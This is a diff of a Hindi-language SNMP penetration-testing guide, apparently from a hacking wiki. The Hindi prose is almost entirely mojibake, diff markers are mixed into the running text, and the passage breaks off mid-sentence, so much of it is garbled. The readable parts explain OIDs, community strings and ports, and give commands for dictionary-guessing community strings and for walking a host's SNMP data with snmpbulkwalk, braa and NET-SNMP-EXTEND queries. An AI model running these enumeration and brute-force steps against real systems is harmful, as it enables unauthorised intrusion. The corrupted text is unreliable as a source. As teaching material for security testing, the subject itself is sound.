[1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) рдХреЗ рднреАрддрд░ рдЬреЛ MIB-2 рджреНрд╡рд╛рд░рд╛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рд╕рд░рд▓ рдиреЗрдЯрд╡рд░реНрдХ рдкреНрд░рдмрдВрдзрди рдкреНрд░реЛрдЯреЛрдХреЙрд▓ (SNMP) рд╡реЗрд░рд┐рдПрдмрд▓реНрд╕ рдХреЛ рд╕рдВрджрд░реНрднрд┐рдд рдХрд░рддреЗ рд╣реИрдВред рдФрд░ рдЗрд╕ рдПрдХ рд╕реЗ **рд▓рдВрдмрд┐рдд OIDs** рд╕реЗ рдЖрдк рдХреБрдЫ рджрд┐рд▓рдЪрд╕реНрдк рд╣реЛрд╕реНрдЯ рдбреЗрдЯрд╛ (рд╕рд┐рд╕реНрдЯрдо рдбреЗрдЯрд╛, рдиреЗрдЯрд╡рд░реНрдХ рдбреЗрдЯрд╛, рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХрд╛ рдбреЗрдЯрд╛...) рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ### **OID рдЙрджрд╛рд╣рд░рдг** -[**рдпрд╣рд╛рдВ рд╕реЗ рдЙрджрд╛рд╣рд░рдг**](https://www.netadmintools.com/snmp-mib-and-oids/): +[**рдпрд╣рд╛рдБ рд╕реЗ рдЙрджрд╛рд╣рд░рдг**](https://www.netadmintools.com/snmp-mib-and-oids/): **`1 . 3 . 6 . 1 . 4 . 1 . 1452 . 1 . 2 . 5 . 1 . 3. 21 . 1 . 4 . 7`** @@ -49,13 +50,13 @@ MIB рдСрдмреНрдЬреЗрдХреНрдЯ IDs, рдпрд╛ OIDs, рдХреЗ рдЙрдЪреНрдЪрддрдо рд╕реН рдЕрдЧрд▓реЗ рд╕рдВрдЦреНрдпрд╛рдУрдВ рдХреЗ рд╕реЗрдЯ рдкрд░ рдЪрд▓рддреЗ рд╣реИрдВред -- 1452 тАУ рдЗрд╕ рдбрд┐рд╡рд╛рдЗрд╕ рдХреЛ рдмрдирд╛рдиреЗ рд╡рд╛рд▓реЗ рд╕рдВрдЧрдарди рдХрд╛ рдирд╛рдо рджреЗрддрд╛ рд╣реИред -- 1 тАУ рдбрд┐рд╡рд╛рдЗрд╕ рдХреЗ рдкреНрд░рдХрд╛рд░ рдХреЛ рд╕реНрдкрд╖реНрдЯ рдХрд░рддрд╛ рд╣реИред рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рдпрд╣ рдПрдХ рдЕрд▓рд╛рд░реНрдо рдШрдбрд╝реА рд╣реИред +- 1452 тАУ рдЙрд╕ рд╕рдВрдЧрдарди рдХрд╛ рдирд╛рдо рджреЗрддрд╛ рд╣реИ рдЬрд┐рд╕рдиреЗ рдЗрд╕ рдбрд┐рд╡рд╛рдЗрд╕ рдХрд╛ рдирд┐рд░реНрдорд╛рдг рдХрд┐рдпрд╛ред +- 1 тАУ рдбрд┐рд╡рд╛рдЗрд╕ рдХреЗ рдкреНрд░рдХрд╛рд░ рдХреЛ рдмрддрд╛рддрд╛ рд╣реИред рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рдпрд╣ рдПрдХ рдЕрд▓рд╛рд░реНрдо рдШрдбрд╝реА рд╣реИред - 2 тАУ рдпрд╣ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдпрд╣ рдбрд┐рд╡рд╛рдЗрд╕ рдПрдХ рд░рд┐рдореЛрдЯ рдЯрд░реНрдорд┐рдирд▓ рдпреВрдирд┐рдЯ рд╣реИред рдмрд╛рдХреА рдХреЗ рдорд╛рди рдбрд┐рд╡рд╛рдЗрд╕ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЬрд╛рдирдХрд╛рд░реА рджреЗрддреЗ рд╣реИрдВред -- 5 тАУ рдПрдХ рд╡рд┐рд╡рд┐рдХреНрдд рдЕрд▓рд╛рд░реНрдо рдмрд┐рдВрджреБ рдХреЛ рджрд░реНрд╢рд╛рддрд╛ рд╣реИред +- 5 тАУ рдПрдХ рдбрд┐рд╕реНрдХреНрд░реАрдЯ рдЕрд▓рд╛рд░реНрдо рдкреЙрдЗрдВрдЯ рдХреЛ рджрд░реНрд╢рд╛рддрд╛ рд╣реИред - 1 тАУ рдбрд┐рд╡рд╛рдЗрд╕ рдореЗрдВ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдмрд┐рдВрджреБ - 3 тАУ рдкреЛрд░реНрдЯ - 21 тАУ рдкреЛрд░реНрдЯ рдХрд╛ рдкрддрд╛ @@ -68,43 +69,43 @@ MIB рдСрдмреНрдЬреЗрдХреНрдЯ IDs, рдпрд╛ OIDs, рдХреЗ рдЙрдЪреНрдЪрддрдо рд╕реН SNMP рдХреЗ 2 рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╕рдВрд╕реНрдХрд░рдг рд╣реИрдВ: - **SNMPv1**: рдореБрдЦреНрдп рд╕рдВрд╕реНрдХрд░рдг, рдпрд╣ рдЕрднреА рднреА рд╕рдмрд╕реЗ рд╕рд╛рдорд╛рдиреНрдп рд╣реИ, **рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдПрдХ рд╕реНрдЯреНрд░рд┐рдВрдЧ** (рдХрдореНрдпреБрдирд┐рдЯреА рд╕реНрдЯреНрд░рд┐рдВрдЧ) рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИ рдЬреЛ **рд╕рд╛рджрд╛ рдкрд╛рда** рдореЗрдВ рдпрд╛рддреНрд░рд╛ рдХрд░рддрд╛ рд╣реИ (рд╕рднреА рдЬрд╛рдирдХрд╛рд░реА рд╕рд╛рджрд╛ рдкрд╛рда рдореЗрдВ рдпрд╛рддреНрд░рд╛ рдХрд░рддреА рд╣реИ)ред **рд╕рдВрд╕реНрдХрд░рдг 2 рдФрд░ 2c** рднреА **рд╕рд╛рджрд╛ рдкрд╛рда рдореЗрдВ рдЯреНрд░реИрдлрд╝рд┐рдХ рднреЗрдЬрддреЗ рд╣реИрдВ** рдФрд░ **рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рд░реВрдк рдореЗрдВ рдПрдХ рдХрдореНрдпреБрдирд┐рдЯреА рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ**ред -- **SNMPv3**: рдПрдХ рдмреЗрд╣рддрд░ **рдкреНрд░рдорд╛рдгреАрдХрд░рдг** рд░реВрдк рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЬрд╛рдирдХрд╛рд░реА **рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб** рдпрд╛рддреНрд░рд╛ рдХрд░рддреА рд╣реИ ( (**рд╢рдмреНрджрдХреЛрд╢ рд╣рдорд▓реЗ** рдХрд╛ рдкреНрд░рджрд░реНрд╢рди рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рд▓реЗрдХрд┐рди SNMPv1 рдФрд░ v2 рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рд╕рд╣реА рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдЦреЛрдЬрдирд╛ рдмрд╣реБрдд рдХрдард┐рди рд╣реЛрдЧрд╛)ред +- **SNMPv3**: рдПрдХ рдмреЗрд╣рддрд░ **рдкреНрд░рдорд╛рдгреАрдХрд░рдг** рд░реВрдк рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЬрд╛рдирдХрд╛рд░реА **рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб** рдпрд╛рддреНрд░рд╛ рдХрд░рддреА рд╣реИ ( (**рдбрд┐рдХреНрд╢рдирд░реА рдЕрдЯреИрдХ** рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рд▓реЗрдХрд┐рди SNMPv1 рдФрд░ v2 рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рд╕рд╣реА рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдЦреЛрдЬрдирд╛ рдмрд╣реБрдд рдХрдард┐рди рд╣реЛрдЧрд╛)ред ### рдХрдореНрдпреБрдирд┐рдЯреА рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕ -рдЬреИрд╕рд╛ рдХрд┐ рдкрд╣рд▓реЗ рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, **MIB рдкрд░ рд╕рдВрдЧреНрд░рд╣реАрдд рдЬрд╛рдирдХрд╛рд░реА рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рд╕рдВрд╕реНрдХрд░рдг 1 рдФрд░ 2/2c рдкрд░ рдХрдореНрдпреБрдирд┐рдЯреА рд╕реНрдЯреНрд░рд┐рдВрдЧ рдФрд░ рд╕рдВрд╕реНрдХрд░рдг 3 рдкрд░ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдЬрд╛рдирдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред**\ +рдЬреИрд╕рд╛ рдХрд┐ рдкрд╣рд▓реЗ рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, **MIB рдкрд░ рд╕рдВрдЧреНрд░рд╣реАрдд рдЬрд╛рдирдХрд╛рд░реА рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рд╕рдВрд╕реНрдХрд░рдг 1 рдФрд░ 2/2c рдкрд░ рдХрдореНрдпреБрдирд┐рдЯреА рд╕реНрдЯреНрд░рд┐рдВрдЧ рдФрд░ рд╕рдВрд╕реНрдХрд░рдг 3 рдкрд░ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдЬрд╛рдирдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред**\ рдХрдореНрдпреБрдирд┐рдЯреА рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕ рдХреЗ **2 рдкреНрд░рдХрд╛рд░** рд╣реИрдВ: - **`public`** рдореБрдЦреНрдп рд░реВрдк рд╕реЗ **рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЗрд╡рд▓** рдХрд╛рд░реНрдп - **`private`** **рдкрдврд╝рдиреЗ/рд▓рд┐рдЦрдиреЗ** рдореЗрдВ рд╕рд╛рдорд╛рдиреНрдп -рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ **OID рдХреА рд▓рд┐рдЦрдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдЙрдкрдпреЛрдЧ рдХреА рдЧрдИ рдХрдореНрдпреБрдирд┐рдЯреА рд╕реНрдЯреНрд░рд┐рдВрдЧ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИ**, рдЗрд╕рд▓рд┐рдП **рдпрд╣рд╛рдВ рддрдХ рдХрд┐** рдпрджрд┐ рдЖрдк рдкрд╛рддреЗ рд╣реИрдВ рдХрд┐ "**public**" рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдк рдХреБрдЫ рдорд╛рдиреЛрдВ рдХреЛ **рд▓рд┐рдЦрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред** рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдРрд╕реЗ рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ **рд╣рдореЗрд╢рд╛ "рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЗрд╡рд▓" рд╣реЛрддреЗ рд╣реИрдВред**\ -рдпрджрд┐ рдЖрдк рдПрдХ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ **рд▓рд┐рдЦрдиреЗ** рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддреЗ рд╣реИрдВ рддреЛ **`noSuchName` рдпрд╛ `readOnly` рддреНрд░реБрдЯрд┐** рдкреНрд░рд╛рдкреНрдд рд╣реЛрддреА рд╣реИ\*\*.\*\* +рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ **OID рдХреА рд▓рд┐рдЦрдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдЙрдкрдпреЛрдЧ рдХреА рдЧрдИ рдХрдореНрдпреБрдирд┐рдЯреА рд╕реНрдЯреНрд░рд┐рдВрдЧ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИ**, рдЗрд╕рд▓рд┐рдП **рдпрд╣рд╛рдВ рддрдХ рдХрд┐** рдпрджрд┐ рдЖрдк рдкрд╛рддреЗ рд╣реИрдВ рдХрд┐ "**public**" рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдк рдХреБрдЫ рдорд╛рдиреЛрдВ рдХреЛ **рд▓рд┐рдЦрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред** рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рд╡рд╣рд╛рдБ **рдРрд╕реЗ рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕** рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ **рд╣рдореЗрд╢рд╛ "рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЗрд╡рд▓"** рд╣реЛрддреЗ рд╣реИрдВред\ +рдпрджрд┐ рдЖрдк рдХрд┐рд╕реА рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ **рд▓рд┐рдЦрдиреЗ** рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддреЗ рд╣реИрдВ рддреЛ **`noSuchName` рдпрд╛ `readOnly` рддреНрд░реБрдЯрд┐** рдкреНрд░рд╛рдкреНрдд рд╣реЛрддреА рд╣реИред** -рд╕рдВрд╕реНрдХрд░рдг 1 рдФрд░ 2/2c рдореЗрдВ рдпрджрд┐ рдЖрдк рдПрдХ **рдЦрд░рд╛рдм** рдХрдореНрдпреБрдирд┐рдЯреА рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ рддреЛ рд╕рд░реНрд╡рд░ **рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛** рдирд╣реАрдВ рджреЗрдЧрд╛ред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдпрд╣ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рджреЗрддрд╛ рд╣реИ, рддреЛ **рдПрдХ рдорд╛рдиреНрдп рдХрдореНрдпреБрдирд┐рдЯреА рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛**ред +рд╕рдВрд╕реНрдХрд░рдг 1 рдФрд░ 2/2c рдореЗрдВ рдпрджрд┐ рдЖрдк **рдЦрд░рд╛рдм** рдХрдореНрдпреБрдирд┐рдЯреА рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ рддреЛ рд╕рд░реНрд╡рд░ **рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдирд╣реАрдВ рджреЗрдЧрд╛**ред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдпрд╣ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХрд░рддрд╛ рд╣реИ, рддреЛ **рдПрдХ рдорд╛рдиреНрдп рдХрдореНрдпреБрдирд┐рдЯреА рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛**ред ## рдкреЛрд░реНрдЯреНрд╕ [рд╡рд┐рдХрд┐рдкреАрдбрд┐рдпрд╛ рд╕реЗ](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol): - SNMP рдПрдЬреЗрдВрдЯ UDP рдкреЛрд░реНрдЯ **161** рдкрд░ рдЕрдиреБрд░реЛрдз рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИред -- рдкреНрд░рдмрдВрдзрдХ рдкреЛрд░реНрдЯ **162** рдкрд░ рд╕реВрдЪрдирд╛рдПрдВ ([рдЯреНрд░реИрдкреНрд╕](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#Trap) рдФрд░ [InformRequests](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#InformRequest)) рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИред -- рдЬрдм [рдкрд░рд┐рд╡рд╣рди рдкрд░рдд рд╕реБрд░рдХреНрд╖рд╛](https://en.wikipedia.org/wiki/Transport_Layer_Security) рдпрд╛ [рдбреЗрдЯрд╛рдЧреНрд░рд╛рдо рдкрд░рд┐рд╡рд╣рди рдкрд░рдд рд╕реБрд░рдХреНрд╖рд╛](https://en.wikipedia.org/wiki/Datagram_Transport_Layer_Security) рдХреЗ рд╕рд╛рде рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЕрдиреБрд░реЛрдз рдкреЛрд░реНрдЯ **10161** рдкрд░ рдкреНрд░рд╛рдкреНрдд рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ рд╕реВрдЪрдирд╛рдПрдВ рдкреЛрд░реНрдЯ **10162** рдкрд░ рднреЗрдЬреА рдЬрд╛рддреА рд╣реИрдВред +- рдкреНрд░рдмрдВрдзрдХ рдкреЛрд░реНрдЯ **162** рдкрд░ рд╕реВрдЪрдирд╛рдПрдБ рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ ([рдЯреНрд░реИрдкреНрд╕](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#Trap) рдФрд░ [InformRequests](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#InformRequest))ред +- рдЬрдм [рдЯреНрд░рд╛рдВрд╕рдкреЛрд░реНрдЯ рд▓реЗрдпрд░ рд╕реБрд░рдХреНрд╖рд╛](https://en.wikipedia.org/wiki/Transport_Layer_Security) рдпрд╛ [рдбреЗрдЯрд╛рдЧреНрд░рд╛рдо рдЯреНрд░рд╛рдВрд╕рдкреЛрд░реНрдЯ рд▓реЗрдпрд░ рд╕реБрд░рдХреНрд╖рд╛](https://en.wikipedia.org/wiki/Datagram_Transport_Layer_Security) рдХреЗ рд╕рд╛рде рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЕрдиреБрд░реЛрдз рдкреЛрд░реНрдЯ **10161** рдкрд░ рдкреНрд░рд╛рдкреНрдд рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ рд╕реВрдЪрдирд╛рдПрдБ рдкреЛрд░реНрдЯ **10162** рдкрд░ рднреЗрдЬреА рдЬрд╛рддреА рд╣реИрдВред ## рдмреНрд░реВрдЯ-рдлреЛрд░реНрд╕ рдХрдореНрдпреБрдирд┐рдЯреА рд╕реНрдЯреНрд░рд┐рдВрдЧ (v1 рдФрд░ v2c) -**рдХрдореНрдпреБрдирд┐рдЯреА рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХрд╛ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП** рдЖрдк рдПрдХ рд╢рдмреНрджрдХреЛрд╢ рд╣рдорд▓реЗ рдХрд╛ рдкреНрд░рджрд░реНрд╢рди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред SNMP рдХреЗ рдЦрд┐рд▓рд╛рдл рдмреНрд░реВрдЯ-рдлреЛрд░реНрд╕ рд╣рдорд▓реЗ рдХреЗ рд╡рд┐рднрд┐рдиреНрди рддрд░реАрдХреЛрдВ рдХреЗ рд▓рд┐рдП [рдпрд╣рд╛рдВ рджреЗрдЦреЗрдВ](../../generic-hacking/brute-force.md#snmp)ред рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рдХрдореНрдпреБрдирд┐рдЯреА рд╕реНрдЯреНрд░рд┐рдВрдЧ `public` рд╣реИред +**рдХрдореНрдпреБрдирд┐рдЯреА рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХрд╛ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП** рдЖрдк рдПрдХ рдбрд┐рдХреНрд╢рдирд░реА рдЕрдЯреИрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред SNMP рдХреЗ рдЦрд┐рд▓рд╛рдл рдмреНрд░реВрдЯ-рдлреЛрд░реНрд╕ рдЕрдЯреИрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП [рдпрд╣рд╛рдБ рд╡рд┐рднрд┐рдиреНрди рддрд░реАрдХреЗ рджреЗрдЦреЗрдВ](../../generic-hacking/brute-force.md#snmp)ред рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рдХрдореНрдпреБрдирд┐рдЯреА рд╕реНрдЯреНрд░рд┐рдВрдЧ `public` рд╣реИред ## SNMP рдХреА рдЧрдгрдирд╛ рдХрд░рдирд╛ -рдпрд╣ рдЕрдиреБрд╢рдВрд╕рд╛ рдХреА рдЬрд╛рддреА рд╣реИ рдХрд┐ рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЛ рд╕реНрдерд╛рдкрд┐рдд рдХрд░реЗрдВ рддрд╛рдХрд┐ рдЖрдк рджреЗрдЦ рд╕рдХреЗрдВ рдХрд┐ **рдбрд┐рд╡рд╛рдЗрд╕ рд╕реЗ рдПрдХрддреНрд░рд┐рдд рдкреНрд░рддреНрдпреЗрдХ OID рдХрд╛ рдХреНрдпрд╛ рдЕрд░реНрде рд╣реИ**: +рдпрд╣ рдЕрдиреБрд╢рдВрд╕рд╛ рдХреА рдЬрд╛рддреА рд╣реИ рдХрд┐ рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕реНрдерд╛рдкрд┐рдд рдХрд░реЗрдВ рддрд╛рдХрд┐ рдЖрдк рджреЗрдЦ рд╕рдХреЗрдВ рдХрд┐ **рдбрд┐рд╡рд╛рдЗрд╕ рд╕реЗ рдПрдХрддреНрд░рд┐рдд рдкреНрд░рддреНрдпреЗрдХ OID рдХрд╛ рдХреНрдпрд╛ рдорддрд▓рдм рд╣реИ**: ```bash apt-get install snmp-mibs-downloader download-mibs # Finally comment the line saying "mibs :" in /etc/snmp/snmp.conf sudo vi /etc/snmp/snmp.conf ``` -рдпрджрд┐ рдЖрдкрдХреЛ рдПрдХ рдорд╛рдиреНрдп рд╕рдореБрджрд╛рдп рд╕реНрдЯреНрд░рд┐рдВрдЧ рдкрддрд╛ рд╣реИ, рддреЛ рдЖрдк **SNMPWalk** рдпрд╛ **SNMP-Check** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбреЗрдЯрд╛ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ: +рдпрджрд┐ рдЖрдк рдПрдХ рдорд╛рдиреНрдп рд╕рдореБрджрд╛рдп рд╕реНрдЯреНрд░рд┐рдВрдЧ рдЬрд╛рдирддреЗ рд╣реИрдВ, рддреЛ рдЖрдк **SNMPWalk** рдпрд╛ **SNMP-Check** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбреЗрдЯрд╛ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ: ```bash snmpbulkwalk -c [COMM_STRING] -v [VERSION] [IP] . #Don't forget the final dot snmpbulkwalk -c public -v2c 10.10.11.136 . @@ -124,9 +125,9 @@ braa @:.1.3.6.* #Bruteforce specific OID ```bash snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull ``` -**SNMP** рдХреЗ рдкрд╛рд╕ рд╣реЛрд╕реНрдЯ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдмрд╣реБрдд рд╕рд╛рд░реА рдЬрд╛рдирдХрд╛рд░реА рд╣реЛрддреА рд╣реИ рдФрд░ рдЬреЛ рдЪреАрдЬреЗрдВ рдЖрдкрдХреЛ рджрд┐рд▓рдЪрд╕реНрдк рд▓рдЧ рд╕рдХрддреА рд╣реИрдВ рд╡реЗ рд╣реИрдВ: **рдиреЗрдЯрд╡рд░реНрдХ рдЗрдВрдЯрд░рдлреЗрд╕** (IPv4 рдФрд░ **IPv6** рдкрддрд╛), рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо, рдЕрдкрдЯрд╛рдЗрдо, рд╕рд░реНрд╡рд░/OS рд╕рдВрд╕реНрдХрд░рдг, рдФрд░ **рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ** +**SNMP** рдореЗрдВ рд╣реЛрд╕реНрдЯ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдмрд╣реБрдд рд╕рд╛рд░реА рдЬрд╛рдирдХрд╛рд░реА рд╣реЛрддреА рд╣реИ рдФрд░ рдЬреЛ рдЪреАрдЬреЗрдВ рдЖрдкрдХреЛ рджрд┐рд▓рдЪрд╕реНрдк рд▓рдЧ рд╕рдХрддреА рд╣реИрдВ рд╡реЗ рд╣реИрдВ: **рдиреЗрдЯрд╡рд░реНрдХ рдЗрдВрдЯрд░рдлреЗрд╕** (IPv4 рдФрд░ **IPv6** рдкрддрд╛), рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо, рдЕрдкрдЯрд╛рдЗрдо, рд╕рд░реНрд╡рд░/OS рд╕рдВрд╕реНрдХрд░рдг, рдФрд░ **рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ** -**рдЪрд▓ рд░рд╣реА** (рдкрд╛рд╕рд╡рд░реНрдб рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ).... +**рдЪрд▓ рд░рд╣реА** (рд╢рд╛рдпрдж рдкрд╛рд╕рд╡рд░реНрдб рд╢рд╛рдорд┐рд▓ рд╣реЛ)... ### **рдЦрддрд░рдирд╛рдХ рд╕реЗрдЯрд┐рдВрдЧреНрд╕** @@ -145,7 +146,7 @@ snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull ### Microsoft Windows рдХреЗ рд▓рд┐рдП SNMP рдкреИрд░рд╛рдореАрдЯрд░ -Windows рд╕рд┐рд╕реНрдЯрдо рдХреЗ рд╡рд┐рднрд┐рдиреНрди рдкрд╣рд▓реБрдУрдВ рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХреЗ рд▓рд┐рдП рдПрдХ рд╢реНрд░реГрдВрдЦрд▓рд╛ **рдореИрдиреЗрдЬрдореЗрдВрдЯ рдЗрдВрдлреЙрд░реНрдореЗрд╢рди рдмреЗрд╕ (MIB) рдорд╛рди** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ: +Windows рд╕рд┐рд╕реНрдЯрдо рдХреЗ рд╡рд┐рднрд┐рдиреНрди рдкрд╣рд▓реБрдУрдВ рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХреЗ рд▓рд┐рдП рдПрдХ рд╢реНрд░реГрдВрдЦрд▓рд╛ **рдкреНрд░рдмрдВрдзрди рд╕реВрдЪрдирд╛ рдЖрдзрд╛рд░ (MIB) рдорд╛рди** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ: - **рд╕рд┐рд╕реНрдЯрдо рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ**: `1.3.6.1.2.1.25.1.6.0` рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд╣реБрдВрдЪреА рдЬрд╛рддреА рд╣реИрдВ, рдпрд╣ рдкреИрд░рд╛рдореАрдЯрд░ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рднреАрддрд░ рд╕рдХреНрд░рд┐рдп рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред - **рдЪрд▓ рд░рд╣реЗ рдХрд╛рд░реНрдпрдХреНрд░рдо**: рд╡рд░реНрддрдорд╛рди рдореЗрдВ рдЪрд▓ рд░рд╣реЗ рдХрд╛рд░реНрдпрдХреНрд░рдореЛрдВ рдХреЛ 